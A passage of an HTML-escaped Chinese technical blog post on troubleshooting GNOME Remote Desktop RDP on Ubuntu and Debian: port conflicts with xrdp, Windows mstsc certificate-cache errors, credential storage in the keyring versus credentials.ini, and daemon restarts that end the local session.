&lt;li&gt;Windows mstsc 连上后报 &lt;strong&gt;0x907「非预期的服务器身份验证证书」&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;xian-xiang&quot;&gt;现象&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;系统里同时装了 &lt;code&gt;xrdp&lt;&#x2F;code&gt;（&lt;code&gt;xrdp&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;xrdp-sesman&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;xorgxrdp&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;pipewire-module-xrdp&lt;&#x2F;code&gt;）&lt;&#x2F;li&gt;
&lt;li&gt;mstsc 连接无论 IP 还是主机名都报 0x907，&lt;strong&gt;不弹任何确认框&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;但用 Remmina &#x2F; xfreerdp &lt;code&gt;&#x2F;cert:ignore&lt;&#x2F;code&gt; 能正常连接&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;wen-ti-1-kai-guan-dan-hui-xrdp-zhan-duan-kou&quot;&gt;问题 1：开关弹回 — xrdp 占端口&lt;&#x2F;h3&gt;
&lt;p&gt;服务状态和日志：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;systemctl --user status gnome-remote-desktop.service
grdctl status          # 用户级守护进程（桌面共享）
grdctl --system status # 系统级守护进程（远程登录）
journalctl -u gnome-remote-desktop.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;关键日志（用户每次点开关，系统守护进程都尝试绑 3389）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;RDP server started
Failed to bind port 3389 after 10 attempts   ← 重试 10 次失败
RDP server stopped                            ← 服务停止 → 开关弹回
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;查谁占了 3389：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ss -tlnp | grep 3389
# 0.0.0.0:3389  ← xrdp (root)
journalctl -u xrdp   # listening to port 3389 on 0.0.0.0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;根因：&lt;code&gt;xrdp&lt;&#x2F;code&gt; 开机抢先绑定 0.0.0.0:3389&lt;&#x2F;strong&gt;。&lt;code&gt;xrdp.service&lt;&#x2F;code&gt; 虽 &lt;code&gt;disabled&lt;&#x2F;code&gt;，但 &lt;code&gt;Requires=xrdp-sesman.service&lt;&#x2F;code&gt;（enabled），开机被拉起，8 秒内抢走 3389。GNOME 远程桌面绑不上，系统级守护进程重试 10 次后放弃，UI 开关弹回。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;附：设置页「某些设置已锁定」横幅是 polkit 动作 &lt;code&gt;org.gnome.controlcenter.remote-session-helper&lt;&#x2F;code&gt; 要求管理员认证，点「解锁」输密码即可，不是故障。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;wen-ti-2-mstsc-0x907-zheng-shu-cuo-wu&quot;&gt;问题 2：mstsc 0x907 证书错误&lt;&#x2F;h3&gt;
&lt;p&gt;服务端实测（本机 xfreerdp 一切正常）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;xfreerdp &amp;#x2F;v:127.0.0.1:3389 &amp;#x2F;u:peter &amp;#x2F;p:xxx &amp;#x2F;auth-only &amp;#x2F;cert:ignore
# 认证测试通过
# 抓取服务端证书指纹 — 与配置文件一致，证书与私钥匹配，签名有效，有效期正常
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但 mstsc 每次在 TLS 协商阶段中止，服务端日志：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[freerdp_tls_handshake]: BIO_do_handshake failed
CONNECTION_STATE_NEGO - rdp_server_accept_nego() fail
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;对照实验（同一台 Windows、同一个 mstsc）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;监听 3389 的进程&lt;&#x2F;th&gt;&lt;th&gt;证书&lt;&#x2F;th&gt;&lt;th&gt;mstsc 结果&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;xrdp（之前）&lt;&#x2F;td&gt;&lt;td&gt;xrdp 自签名&lt;&#x2F;td&gt;&lt;td&gt;连过，Windows 缓存了该证书&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;grd 用户守护进程&lt;&#x2F;td&gt;&lt;td&gt;grd 自签名&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;0x907 硬失败，无确认框&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;grd 系统守护进程&lt;&#x2F;td&gt;&lt;td&gt;grd 自签名&lt;&#x2F;td&gt;&lt;td&gt;正常连接&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;已确认&lt;&#x2F;strong&gt;：0x907 是 Windows 检测到服务器证书与本地缓存不一致时的硬性终止（防中间人设计，不弹框）。之前 3389 上跑的是 xrdp 的证书，换成 grd 的证书后指纹不同 → 0x907。在**新端口（无缓存）**上连接一次并接受新证书后，3389 也能连了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;推测&lt;&#x2F;strong&gt;：mstsc 直连用户守护进程时 NLA 凭据校验路径与预期不一致。grd 46 源码中确实有针对 mstsc 的特殊处理（&lt;code&gt;use_system_credentials = is_client_mstsc &amp;amp;&amp;amp; !requested_rdstls&lt;&#x2F;code&gt;）。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ji-qi-a-jie-jue-fang-an&quot;&gt;机器 A 解决方案&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;方案 A1&lt;&#x2F;strong&gt;：同时开启「远程登录」+「桌面共享」（推荐）&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;远程登录 → 系统守护进程监听 &lt;strong&gt;3389&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;桌面共享 → 用户守护进程监听 &lt;strong&gt;3390&lt;&#x2F;strong&gt;（自动避让）&lt;&#x2F;li&gt;
&lt;li&gt;mstsc 连 3389 即可&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;方案 A2&lt;&#x2F;strong&gt;：Windows 侧清证书缓存&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;regedit → HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers
删除对应主机名的条目
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;或换一个从未连过的地址形式（IP ↔ 主机名）连一次，接受新证书后原地址也能连。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ji-qi-a-zong-jie&quot;&gt;机器 A 总结&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;开关弹回根因：&lt;strong&gt;xrdp 抢占 3389&lt;&#x2F;strong&gt;，&lt;code&gt;systemctl stop&#x2F;disable xrdp xrdp-sesman&lt;&#x2F;code&gt; 后重启 gnome-remote-desktop&lt;&#x2F;li&gt;
&lt;li&gt;mstsc 0x907 是 &lt;strong&gt;Windows 证书缓存不一致&lt;&#x2F;strong&gt;，清缓存或接受新证书解决&lt;&#x2F;li&gt;
&lt;li&gt;grd 46 双守护进程下 &lt;strong&gt;mstsc 直连用户守护进程不可靠&lt;&#x2F;strong&gt;，连 3389 由系统守护进程接管最省心&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;ji-qi-a-hou-xu-2026-08-12-shuang-shou-hu-jin-cheng-zui-zhong-xing-tai-yu-setup-rdp-sh-gu-hua&quot;&gt;机器 A 后续（2026-08-12）：双守护进程最终形态与 setup.rdp.sh 固化&lt;&#x2F;h3&gt;
&lt;p&gt;机器 A 最终配置即上文「方案 A1」的完整落地（日常使用、改密码全部由 &lt;code&gt;script&#x2F;setup.rdp.sh&lt;&#x2F;code&gt; 一键固化）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;端口&lt;&#x2F;th&gt;&lt;th&gt;角色&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;3389&lt;&#x2F;td&gt;&lt;td&gt;系统级 &lt;code&gt;gnome-remote-desktop.service&lt;&#x2F;code&gt;（&lt;code&gt;--system&lt;&#x2F;code&gt;）&lt;&#x2F;td&gt;&lt;td&gt;GDM 登录界面（远程登录），用系统用户密码&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3390&lt;&#x2F;td&gt;&lt;td&gt;用户级守护进程（桌面共享，SCREEN_SHARE 模式）&lt;&#x2F;td&gt;&lt;td&gt;自动避让端口，用 RDP 凭证&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;code&gt;--handover&lt;&#x2F;code&gt;：登录后接管连接，由 gsd-sharing 按需拉起（GNOME 46 无独立 handover unit，不影响）。&lt;&#x2F;p&gt;
&lt;p&gt;本次踩的新坑（按严重程度排序）：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;坑 1：系统级凭证写入后，运行中的 daemon 不重载凭证&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;grdctl --system rdp set-credentials&lt;&#x2F;code&gt; 写完后，3389 认证依然 &lt;code&gt;STATUS_LOGON_FAILURE&lt;&#x2F;code&gt;——运行中的系统 daemon 不会自动重读凭证文件，必须重启才生效（输出里的 &lt;code&gt;tcti:IO failure, using GKeyFile as fallback&lt;&#x2F;code&gt; 正是凭证走 GKeyFile 后端的回退噪音，凭证仍写入成功；原文写「不重载 grd.conf」，文件位置见后文更正）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo systemctl restart gnome-remote-desktop.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;前提：重启时&lt;strong&gt;没有活跃的 RDP greeter 会话&lt;&#x2F;strong&gt;（见坑 5，否则会把物理会话一起踢掉）。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;坑 2：SCREEN_SHARE 模式改密码不生效——凭证只读 keyring&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;上文 Step 1 从源码得出「SCREEN_SHARE 凭证只读 keyring」的结论，机器 A 这次是&lt;strong&gt;反着踩&lt;&#x2F;strong&gt;的：脚本只改了 &lt;code&gt;credentials.ini&lt;&#x2F;code&gt;，3390 依旧用旧密码。改密码必须写 keyring（物理会话活跃、keyring 已解锁时写入即时生效）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;grdctl rdp set-credentials peter &amp;#x27;&amp;lt;新密码&amp;gt;&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;--headless&lt;&#x2F;code&gt; 模式（凭证读 credentials.ini）可以绕开 keyring 死结，但代价是自建虚拟屏、&lt;strong&gt;看不到物理屏内容&lt;&#x2F;strong&gt;——共享物理屏场景反而要留在 SCREEN_SHARE 模式并同步 keyring。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;坑 3：自检命令在 SSH 环境跑不起来&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;xfreerdp&lt;&#x2F;code&gt; 是 X11 客户端，无 DISPLAY 直接报 &lt;code&gt;failed to open display&lt;&#x2F;code&gt;。自检用 &lt;code&gt;xvfb-run&lt;&#x2F;code&gt; 包一层：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;xvfb-run -a xfreerdp &amp;#x2F;v:127.0.0.1:3389 &amp;#x2F;u:peter &amp;#x2F;p:xxx &amp;#x2F;auth-only &amp;#x2F;cert:ignore
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;坑 4：「解锁后几秒又锁住」实为自动熄屏黑屏（非复锁）&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;loginctl unlock-session&lt;&#x2F;code&gt; 后轮询 20 秒，&lt;code&gt;LockedHint=no&lt;&#x2F;code&gt; 稳定——会话并未复锁，是&lt;strong&gt;显示器自动熄灭&lt;&#x2F;strong&gt;（黑屏），SSH 解锁不会唤醒物理屏幕，看起来像&quot;又锁了&quot;。防锁屏判断也要小心：&lt;strong&gt;按 headless 服务是否 active 判断&lt;&#x2F;strong&gt;，不能按「服务文件是否存在」——Ubuntu 24.04 自带该文件，即使实际跑的是 SCREEN_SHARE 也会被跳过：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gsettings set org.gnome.desktop.screensaver lock-enabled false
gsettings set org.gnome.desktop.screensaver idle-activation-enabled false
gsettings set org.gnome.desktop.session idle-delay 0
gsettings set org.gnome.settings-daemon.plugins.power sleep-inactive-ac-type &amp;#x27;nothing&amp;#x27;
gsettings set org.gnome.settings-daemon.plugins.power sleep-inactive-battery-type &amp;#x27;nothing&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;坑 5（最重）：重启系统级 daemon 会连锁踢掉物理会话&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;现象：脚本执行 &lt;code&gt;sudo systemctl restart gnome-remote-desktop.service&lt;&#x2F;code&gt; 时，本机物理会话（seat0）直接退出，GDM 自动登录恢复新会话。&lt;&#x2F;p&gt;
&lt;p&gt;根因链（journal 实证）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;其他机器连着 3389 登录界面 → GDM 有活跃 RDP greeter 会话（user=gdm, Remote=yes）
  → 重启系统 grd daemon → greeter 全被杀（GdmDisplay: Session never registered, failing）
    → GDM 显示管理连锁出错（on_display_added: assertion &amp;#x27;GDM_IS_REMOTE_DISPLAY (display)&amp;#x27; failed）
      → GDM 重新拉起 greeter 到 seat → logind 结束当前物理会话（Session N logged out）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;对策：&lt;strong&gt;默认不重启系统 daemon&lt;&#x2F;strong&gt;——只写配置，等下次 daemon 启动&#x2F;开机生效；必须立即生效时，先确认所有机器都关掉 3389 登录窗口再重启。检测会话时注意：greeter 的用户名是 &lt;code&gt;Debian-gdm&lt;&#x2F;code&gt;（不是 &lt;code&gt;gdm&lt;&#x2F;code&gt;），按用户名匹配会漏；可靠做法是按 CLASS 列过滤 &lt;code&gt;loginctl list-sessions --no-legend | awk &#x27;$6==&quot;greeter&quot;{print $1}&#x27;&lt;&#x2F;code&gt;。用户级 daemon（3390）重启无此风险。&lt;code&gt;loginctl terminate-session&lt;&#x2F;code&gt; 手动终止 greeter 也会弄脏 GDM 状态（后续一次 &lt;code&gt;on_display_added&lt;&#x2F;code&gt; 断言失败就能踢会话），尽量让客户端自然断开。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;2026-09-11 在 douhao（Debian 13 &#x2F; GDM 48 &#x2F; grd 48.1）复现确认&lt;&#x2F;strong&gt;：重启系统 daemon 后物理会话（seat0）确实被踢，GDM 在 seat0 拉起新 greeter（当时有一个残留的远程 greeter c2 被杀，触发连锁）。&lt;strong&gt;连带后果&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;用户级 daemon 随会话结束一起停止（&lt;code&gt;gnome-remote-desktop.service&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;-handover.service&lt;&#x2F;code&gt; 都 &lt;code&gt;WantedBy=gnome-session.target&lt;&#x2F;code&gt;），3390 不再监听；&lt;&#x2F;li&gt;
&lt;li&gt;gnome-keyring daemon 随会话退出，login keyring 重新变锁定（下次控制台登录时 PAM 会尝试用登录密码解锁）；&lt;&#x2F;li&gt;
&lt;li&gt;tmux server 不受影响（tmux 客户端死、server 存活，重新 attach 即可）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;恢复&lt;&#x2F;strong&gt;：到虚拟机控制台在 seat0 登录界面登录，用户级服务会自动拉起；被 &lt;code&gt;disable&lt;&#x2F;code&gt; 的 headless 服务不会自己回来。所以对没有控制台访问的远程机器，重启系统 daemon 前要先准备好控制台（Proxmox &#x2F; virt-manager）。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;坑 6：共享模式默认 mirror-primary，extend 必须显式选择&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;extend&lt;&#x2F;code&gt; 模式自建虚拟扩展屏，RDP 里看不到物理屏内容——用户连 3390 会误以为&quot;变成 headless 了&quot;。脚本曾做「无物理会话自动回退 extend」的探测，实测在物理会话重启的空档 &lt;code&gt;loginctl&lt;&#x2F;code&gt; 查不到 seat0 会话，把 mirror 悄悄切回 extend。最终：&lt;strong&gt;默认 mirror-primary，只有显式 &lt;code&gt;--extend&lt;&#x2F;code&gt; 才配置 extend&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;setup-rdp-sh-2026-08-12-ban-yong-fa&quot;&gt;setup.rdp.sh（2026-08-12 版用法）&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;bash setup.rdp.sh                           # 默认：保留现有模式&amp;#x2F;密码，不重启任何 daemon
bash setup.rdp.sh --set-password            # 改密码（提示输入新密码）
bash setup.rdp.sh --set-password --restart  # 改密码并重启 daemon 立即生效（先确认无人在 3389 登录界面）
bash setup.rdp.sh --headless                # 强制用户级 headless 模式
bash setup.rdp.sh --screenshare             # 强制 SCREEN_SHARE 模式（默认保留现有模式）
bash setup.rdp.sh --extend                  # 共享模式用虚拟扩展屏（默认 mirror-primary）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;设计要点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--restart&lt;&#x2F;code&gt; 显式开关：默认&lt;strong&gt;不重启任何 daemon&lt;&#x2F;strong&gt;（坑 5）；重启前检测 gdm 会话并告警&lt;&#x2F;li&gt;
&lt;li&gt;SCREEN_SHARE 模式自动 &lt;code&gt;grdctl rdp set-credentials&lt;&#x2F;code&gt; 同步 keyring（坑 2），写入即时生效&lt;&#x2F;li&gt;
&lt;li&gt;系统级凭证写入后仅 &lt;code&gt;--restart&lt;&#x2F;code&gt; 时重启 daemon（坑 1）&lt;&#x2F;li&gt;
&lt;li&gt;末尾对 3389&#x2F;3390 双端口做 &lt;code&gt;&#x2F;auth-only&lt;&#x2F;code&gt; 自检（xvfb-run，坑 3）&lt;&#x2F;li&gt;
&lt;li&gt;防锁屏按 headless 服务 is-active 判断（坑 4）&lt;&#x2F;li&gt;
&lt;li&gt;参数冲突检查：&lt;code&gt;--headless&lt;&#x2F;code&gt;×&lt;code&gt;--screenshare&lt;&#x2F;code&gt;、&lt;code&gt;--extend&lt;&#x2F;code&gt;×&lt;code&gt;--mirror&lt;&#x2F;code&gt;、&lt;code&gt;--headless&lt;&#x2F;code&gt;×&lt;code&gt;--extend&#x2F;--mirror&lt;&#x2F;code&gt; 报错退出&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;ji-qi-b-debian-13-trixie-gnome-48&quot;&gt;机器 B：Debian 13 (Trixie) + GNOME 48&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;环境：&lt;&#x2F;strong&gt; Debian 13 (Trixie), GNOME Shell 48.7, gnome-remote-desktop 48.1。客户端：Linux Remmina。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;gu-zhang-1&quot;&gt;故障&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;连接 3389 &lt;strong&gt;白屏 + 服务端 CPU 飙升&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;连接 3390 &lt;strong&gt;闪退&lt;&#x2F;strong&gt;（NTLM 认证失败）&lt;&#x2F;li&gt;
&lt;li&gt;密码设置后始终不生效&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;pai-cha-guo-cheng&quot;&gt;排查过程&lt;&#x2F;h3&gt;
&lt;p&gt;先检查当前状态：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;systemctl --user status gnome-remote-desktop.service
grdctl status
ss -tlnp | grep -E &amp;#x27;3389|3390&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;初始状态：用户守护进程以 &lt;code&gt;--headless&lt;&#x2F;code&gt; 模式运行在 3389，&lt;strong&gt;用户名和密码均为空&lt;&#x2F;strong&gt;。不存在 xrdp 冲突。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;step-1-she-zhi-ping-zheng-di-yi-ge-keng&quot;&gt;Step 1：设置凭证（第一个坑）&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;grdctl rdp set-credentials peter &amp;#x27;&amp;lt;your-password&amp;gt;&amp;#x27;
# 无输出，看似成功

grdctl status | grep -E &amp;quot;Username|Password&amp;quot;
# Username: (hidden)
# Password: (hidden)  ← 显示正常
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;客户端连上后日志：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[ERROR][com.winpr.sspi.NTLM] - [ntlm_read_AuthenticateMessage]: Message Integrity Check (MIC) verification failed!
[ERROR][com.freerdp.core.transport] - [transport_accept_nla]: client authentication failure
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;无论怎么重设密码都不行。后来发现：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cat ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;credentials.ini
# [RDP]
# credentials={&amp;#x27;username&amp;#x27;: &amp;lt;&amp;#x27;peter&amp;#x27;&amp;gt;, &amp;#x27;password&amp;#x27;: &amp;lt;&amp;#x27;旧密码&amp;#x27;&amp;gt;}
# ↑ 几个月前的旧密码，grdctl 根本没更新它！
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;根因：&lt;code&gt;grdctl&lt;&#x2F;code&gt; 优先写 GNOME Keyring，如果 keyring 不可用（SSH 环境无 gnome-keyring-daemon），静默回退到 &lt;code&gt;credentials.ini&lt;&#x2F;code&gt;，但回退路径不工作&lt;&#x2F;strong&gt;。直接编辑文件绕过：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;vim ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;credentials.ini
# 改 password 字段为新密码
systemctl --user restart gnome-remote-desktop.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;结论修正（2026-08-11，源码核实）&lt;&#x2F;strong&gt;：上面「直接编辑 credentials.ini 后重启成功」的原因不是 daemon 读了 credentials.ini——grd 48 源码（&lt;code&gt;grd-credentials-libsecret.c&lt;&#x2F;code&gt; + &lt;code&gt;grd-settings.c&lt;&#x2F;code&gt;）证明 &lt;strong&gt;SCREEN_SHARE（用户级无参数）模式的凭证只从 keyring（libsecret）读，lookup 失败直接返回 NULL，不存在 GKeyFile 回退&lt;&#x2F;strong&gt;。当时真正生效的是 keyring 里的凭证：8月6日 通过 3389 GDM 登录界面登录时，&lt;code&gt;gdm-password&lt;&#x2F;code&gt; 的 PAM 配置（&lt;code&gt;pam_gnome_keyring.so&lt;&#x2F;code&gt; auth + session auto_start）创建并解锁了 &lt;code&gt;login.keyring&lt;&#x2F;code&gt;（09:57 创建，379 字节），之后 grdctl 把 RDP 凭证写进了这个&lt;strong&gt;已解锁&lt;&#x2F;strong&gt;的 keyring。所以「vim credentials.ini + 重启」能成功的真实链路是：重启让 daemon 重新从 keyring 读到凭证（恰好那时 keyring 可读），credentials.ini 本身没被读取。credentials.ini 只对 &lt;code&gt;--headless&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;--system&lt;&#x2F;code&gt; 模式（GKeyFile 后端）有效。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;step-2-kai-qi-xi-tong-shou-hu-jin-cheng-yin-ru-xin-wen-ti&quot;&gt;Step 2：开启系统守护进程（引入新问题）&lt;&#x2F;h4&gt;
&lt;p&gt;按照机器 A 的经验，推荐双守护进程。启用系统守护进程：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo grdctl --system rdp enable
sudo grdctl --system rdp set-credentials peter &amp;#x27;&amp;lt;your-password&amp;gt;&amp;#x27;

# 证书路径问题：系统守护进程以 gnome-remote-desktop 用户运行，
# 而非 root。正确的证书位置：
sudo mkdir -p &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;gnome-remote-desktop&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;certificates

HOSTNAME=$(hostname)
sudo openssl req -x509 -newkey rsa:4096 -sha384 -days 730 -nodes \
  -keyout &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;gnome-remote-desktop&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;certificates&amp;#x2F;rdp-tls.key \
  -out &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;gnome-remote-desktop&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;certificates&amp;#x2F;rdp-tls.crt \
  -subj &amp;quot;&amp;#x2F;CN=$HOSTNAME&amp;quot; \
  -addext &amp;quot;subjectAltName=DNS:$HOSTNAME&amp;quot; \
  -addext &amp;quot;keyUsage=digitalSignature,keyEncipherment&amp;quot; \
  -addext &amp;quot;extendedKeyUsage=serverAuth&amp;quot; \
  -addext &amp;quot;nsCertType=server&amp;quot;

sudo chown gnome-remote-desktop:gnome-remote-desktop \
  &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;gnome-remote-desktop&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;certificates&amp;#x2F;rdp-tls.*

# grd.conf 配置文件在 &amp;#x2F;etc&amp;#x2F;gnome-remote-desktop&amp;#x2F;grd.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结果：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;系统守护进程启动到 3389&lt;&#x2F;li&gt;
&lt;li&gt;用户守护进程自动退到 3390&lt;&#x2F;li&gt;
&lt;li&gt;连接 3389 → &lt;strong&gt;白屏 + CPU 飙升&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;连接 3390 → &lt;strong&gt;闪退&lt;&#x2F;strong&gt;（NTLM MIC 失败）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;step-3-bai-ping-pai-cha-gdm-wayland-xuan-ran-yi-chang&quot;&gt;Step 3：白屏排查 — GDM Wayland 渲染异常&lt;&#x2F;h4&gt;
&lt;p&gt;日志显示系统守护进程成功启动并创建了 GDM greeter 会话：&lt;&#x2F;p&gt;
